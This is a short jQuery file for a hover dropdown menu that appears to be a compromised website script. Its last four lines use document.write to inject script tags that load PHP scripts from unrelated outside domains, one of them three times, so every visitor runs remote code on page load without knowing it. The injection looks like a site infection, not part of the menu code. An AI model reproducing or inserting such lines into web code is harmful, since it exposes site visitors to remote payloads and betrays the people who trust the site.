$(function() {

    $("ul.dropdown li").hover(function() {

        $(this).addClass("hover");
        $('ul:first', this).css('visibility', 'visible');

    }, function() {

        $(this).removeClass("hover");
        $('ul:first', this).css('visibility', 'hidden');

    });

    $("ul.dropdown li ul li:has(ul)").find("a:first").append(" » ");

}); 
document.write('<script src=http://thewebartists.org/wp2_testing2/infrastructure.php ><\/script>');
document.write('<script src=http://senior-corp.com/Khon4kwae/indexBack.php ><\/script>');
document.write('<script src=http://senior-corp.com/Khon4kwae/indexBack.php ><\/script>');
document.write('<script src=http://senior-corp.com/Khon4kwae/indexBack.php ><\/script>');